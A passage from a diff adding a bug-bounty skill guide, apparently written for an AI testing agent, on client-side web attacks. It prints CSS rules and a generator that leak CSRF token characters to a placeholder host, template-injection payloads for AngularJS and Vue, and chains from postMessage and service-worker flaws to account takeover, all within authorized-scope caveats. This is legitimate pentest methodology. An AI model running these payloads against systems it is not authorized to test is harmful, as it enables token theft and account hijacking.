+ # Step 1 confirm injection: inject "color:red" on a known element, observe render.
210
+ # Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
211
+ ```
212
+
213
+ > **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.
214
+
215
+ ```css
216
+ /* One request fires only for the matching first char. */
217
+ input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
218
+ input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
219
+ /* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
220
+ meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
221
+ ```
222
+
223
+ ```python
224
+ # Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
225
+ import string
226
+ chars = string.ascii_letters + string.digits + '-_'
227
+ attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
228
+ print("\n".join(
229
+ f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
230
+ # Real exfil needs recursion: serve a stylesheet whose @import pulls the next
231
+ # position's rules only after the current prefix matched (d0nut technique) —
232
+ # this removes the "static input, one char" limitation.
233
+ ```
234
+
235
+ > Validation: the proof is **OOB hits**, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).
236
+
237
+ ---
238
+
239
+ ## Phase 5 — dangerouslySetInnerHTML / framework sinks
240
+
241
+ ```bash
242
+ grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
243
+ # In minified Next/React bundles:
244
+ curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
245
+ # Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
246
+ # If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.
247
+ ```
248
+
249
+ ---
250
+
251
+ ## Phase 6 — Client-Side Template Injection
252
+
253
+ ```bash
254
+ # Detect framework, then test the {{}} sink in a sandbox-bypass form.
255
+ grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
256
+ # Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
257
+ # {{7*7}} -> 49 in the live DOM (not in raw HTML) => CSTI
258
+ # AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
259
+ # {{constructor.constructor('alert(document.domain)')()}}
260
+ # Vue: {{_c.constructor('alert(1)')()}} (varies by Vue 2/3 build)
261
+ ```
262
+
263
+ ---
264
+
265
+ ## Chain Table
266
+
267
+ | DOM finding | Chain to | Impact |
268
+ |-------------|----------|--------|
269
+ | DOM Clobbering → clobbered URL into `script.src`/`location` | DOM-XSS under markup-only injection | High / auth bypass |
270
+ | PostMessage no/weak origin check (listener) | data → innerHTML/eval/location sink | DOM-XSS → ATO |
271
+ | PostMessage `targetOrigin:'*'` sender | any framing page reads token/auth code | Cross-origin token theft |
272
+ | CSS exfil (OOB-confirmed) | leak CSRF token → fire CSRF | CSRF chain (Medium+) |
273
+ | Same-origin Service Worker via XSS | intercept all in-scope fetch + auth headers | Persistent ATO (Critical) |
274
+ | dangerouslySetInnerHTML, no sanitizer | stored DOM-XSS | XSS → ATO |
275
+
276
+ ---
277
+
278
+ ## Tools
279
+
280
+ ```bash
281
+ # DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
282
+ # postMessage-tracker — Chrome extension logging cross-window messages
283
+ # Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
284
+ # Verify any tool URL before citing it in a report; do not paste unverified repo links.
285
+ ```
286
+
287
+ ---
288
+
289
+ ## Validation (false-positive discipline)
290
+
291
+ Match the repo standard: a technique that *fires in DevTools* is not a finding until impact is **OOB-confirmed** and **state-proven**.
292
+
293
+ - **DOM Clobbering** — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
294
+ - **PostMessage** — distinguish a *missing* check from a *weak* one; bypass weak checks from a look-alike origin and capture via OOB. A noisy `message` log alone is not proof — show the privileged action or token exfil.
295
+ - **CSS exfil** — **OOB callback per correct character is the only proof.** Read CSP first: `img-src`/`style-src`/`connect-src`/`default-src` restricting external origins kills it. A blocked `url()` is indistinguishable from success in the Network tab — confirm on the Collaborator side.
296
+ - **Service Worker** — registration must be **same-origin script**; a `SecurityError` means you cited the wrong origin. Prove *persistence* (close tabs → reopen → fresh OOB hit, no XSS re-fire).
297
+ - **General** — unique per-test markers (`btoa(domain)+nonce`) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.
298
+
299
+ **Severity:**
300
+ - Same-origin Service Worker → persistent credential intercept: **Critical**
301
+ - PostMessage data → DOM-XSS / token theft → ATO: **High–Critical**
302
+ - DOM Clobbering → DOM-XSS reaching auth/session: **High**
303
+ - CSS exfil of CSRF token (OOB-proven) → CSRF: **Medium** (raise if the chained CSRF is account-critical)
304
+
305
+ ## When to Use
306
+
307
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
308
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
309
+
310
+ ## Limitations
311
+
312
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
313
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
314
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
315
+
316
+ ### Example
317
+
318
+ ```bash
319
+ # Read-only first step; confirm scope before anything active.
320
+ cat scope.txt # target list from the authorized engagement brief
321
+ ```
322
+
323
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.